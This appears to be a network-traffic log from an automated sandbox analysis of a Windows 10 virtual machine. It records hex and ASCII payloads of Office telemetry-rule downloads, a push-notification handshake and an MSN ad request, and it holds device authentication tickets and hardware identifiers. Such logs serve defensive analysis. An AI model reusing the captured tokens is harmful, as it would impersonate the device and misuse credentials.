2024-11-23 01:55:42 UTC	16384	IN	Data Raw: 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d d9 e8 78 24 ab 24 51 69 66 82 d7 44 e8 Data Ascii: &O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-x$$QifD
2024-11-23 01:55:42 UTC	16384	IN	Data Raw: 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 6e 30 91 49 05 4e 42 60 22 53 9e 67 6f Data Ascii: jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM*]z_]y]DZgtc>qDX\\M,SqPn0INB`"Sgo
2024-11-23 01:55:42 UTC	16384	IN	Data Raw: ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e 6f 2b 5e 74 f2 ea 6e 17 ed 6d 37 04 2d Data Ascii: k/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.Vo+^tnm7-
2024-11-23 01:55:42 UTC	16384	IN	Data Raw: 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 4e 60 6b e1 20 c2 ba 99 b8 6d 1e 51 d5 Data Ascii: M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\N`k mQ
2024-11-23 01:55:42 UTC	16384	IN	Data Raw: 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 45 bf 50 93 bc bc 7d c3 e9 75 22 5d 68 Data Ascii: m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>JcEP}u"]h
2024-11-23 01:55:42 UTC	16384	IN	Data Raw: ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 c6 95 ea 57 bd 73 50 18 1d 54 fb 07 d5 Data Ascii: XdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{OWsPT
2024-11-23 01:55:43 UTC	16384	IN	Data Raw: 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 65 5d 3f 2f 1b ab ff 79 9a 2b b3 79 5d Data Ascii: ;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@e]?/y+y]
2024-11-23 01:55:43 UTC	16384	IN	Data Raw: 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 cb e9 d4 75 42 52 43 29 e8 e5 94 bf 82 Data Ascii: P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>uBRC)

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:41 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:42 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:41 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 9a1c1dfd-501e-000a-5c30-3c0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015541Z-178bfbc474bvjk8shC1NYC83ns00000003n000000000dzf9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 01:55:42 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:41 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:42 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:42 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 1b17855c-f01e-0099-1f6a-3c9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015542Z-174c587ffdfldtt2hC1TEBwv9c000000024g000000007zu4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:42 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49881	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:41 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 50 52 6d 5a 75 2b 47 33 73 45 36 7a 79 56 45 74 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 39 64 39 66 65 38 65 63 62 31 64 36 35 65 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: PRmZu+G3sE6zyVEt.1Context: 69d9fe8ecb1d65e4
2024-11-23 01:55:41 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-23 01:55:41 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 50 52 6d 5a 75 2b 47 33 73 45 36 7a 79 56 45 74 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 39 64 39 66 65 38 65 63 62 31 64 36 35 65 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 53 37 76 61 74 57 6f 77 4a 61 51 30 45 61 52 53 5a 50 50 6e 62 55 74 6d 41 67 4d 4c 50 2b 4e 61 72 56 31 6e 32 4d 39 36 44 71 7a 34 4d 33 67 53 44 30 59 2b 39 38 79 54 41 6a 55 6c 71 59 76 73 45 6c 44 7a 66 43 50 76 35 69 37 73 58 34 32 43 63 36 4c 74 37 41 6f 70 6b 5a 47 6f 30 6b 73 42 64 63 6c 61 62 6f 56 48 4e 62 53 51 57 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: PRmZu+G3sE6zyVEt.2Context: 69d9fe8ecb1d65e4<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAS7vatWowJaQ0EaRSZPPnbUtmAgMLP+NarV1n2M96Dqz4M3gSD0Y+98yTAjUlqYvsElDzfCPv5i7sX42Cc6Lt7AopkZGo0ksBdclaboVHNbSQW
2024-11-23 01:55:41 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 50 52 6d 5a 75 2b 47 33 73 45 36 7a 79 56 45 74 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 39 64 39 66 65 38 65 63 62 31 64 36 35 65 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: PRmZu+G3sE6zyVEt.3Context: 69d9fe8ecb1d65e4<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-23 01:55:42 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-23 01:55:42 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 74 56 58 63 45 53 79 74 61 30 36 59 6e 6d 75 4f 6e 59 76 67 49 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: tVXcESyta06YnmuOnYvgIA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	49885	20.199.58.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:41 UTC	2614	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T015539Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=4b00cf3f63e1431faeaa2803b8fc19ac&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=597337&metered=false&nettype=ethernet&npid=sc-88000045&oemName=xxwgim%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=xxwgim20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=597337&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1& [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAbmC052WmI0pNI/bdLeJUMwBCdJIhxxfMAmyJ9sh6VNZm94H0/15YJtSzwUqn20Upwd5FV8IuFfZgFMTtlZcDnNXrPIkFG4bXSmzp7wOVW/v0Nqk7q0qk//knZS0NQyXU0Svf3dpIlhuWXWExLvqHC//Sb+ZFJN8kPI3z8gcvXYjP7oxzqqKiAqzvyG7WpzN+ddmm5a8+u7u1zdJIam9etrgjAZppwbtzAlbCJv9YsNSKY/JkWHmRCpsFeRWU0K65586em66NHnz1WbhBJNlD2LRVxMMjKVtNlwcB+KzqNrL7LFIs1wTwUA0p4cy9fJtoe50tZbNNCdRU1cQMQY5zcgQZgAAEGp9Qlz/wWITHsNKn67BbRCwAf9W6l0KBptXKjwan4bt6Jq75Sd7xvr10UCnos27/nfrcMQrsXeVoDPqY+P7nUtMQuddYXImTFaWEs8q2g7Eb9O7QCTXuZDw50Xwv0uC02M8ppYWlxltMnDUHhFfaHWFfMFQKHovAOflgwrI8VY+cUzSdX4i946K+4lAVzlFmBXk22VYrhE4v74P4H4AyBRjJK35WuLSYr3bp0kD+0lqAZNoQkLM3dM1B7S//ABSdK8myhlt+7RWe4ZOVYG3LHPjJl4sOCW/nXKav3Y0r/amWXm34ukwOt9v3aflP/PFv8Qm1B4wV4p5v9D1UsWB0OYg5fNkC8yTky60BaJua0HqcvJj1zaReEz7+nSa+HGHvkFefmema0VPyd4fXkRSLhYyvPU1Tp3UoRdPp7n+sq9X8P7afomrmQWLGvbcM+syWhO8A5x3lkFVm4nARxBW8rIsNDXRwCj2rqR4O8OchB6JWVeEY4TniJAQ108Lkdr+3Ed+9/Gje/6p3FNe7wIZkEOEVSjH+h30J3vesTpdnM98dEKAl73KD2MssiJgb6wgiM/v4G/QwTBmJPccsCxkJkvPQdcB&p= Cache-Control: no-cache MS-CV: cjz37Dm/VUu5yVEQ.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-23 01:55:42 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2972 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116216-T1-C128000000001627409+B+P10+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: tquk0pILpYP0hPPfloZ5TjiAHXHdWf1ZrITUnEVtLdbgHRleGHwt6ueEuWgFx/2AFJ5/T/W5ujxqkff6Q7NOpBMwD9hkVIUBqx89CtthiPWu/cMAdDL/dBumfH7ms4Oa+QsAQgMRrbVdnh66Fyw9H3isBsiVt1W2Bzlqdv/JXxQWyU5HyBUSEQPHhK5fG8bf2AClasMs8Nw1xL9zmQ7nLYEPN8JbXSBRsOO7ezVVyLPj4FzQ1sFyPZwJqv2UxfMQ4zOGsLJcOo807NSuKrpCWTcxq3AaDMDDnyuhKDL/1q3Q49MMT9668+s4ldMWG8nh/5DOkKoVDlHkb5nbdAhFMQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 01:55:41 GMT Connection: close
2024-11-23 01:55:42 UTC	2972	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 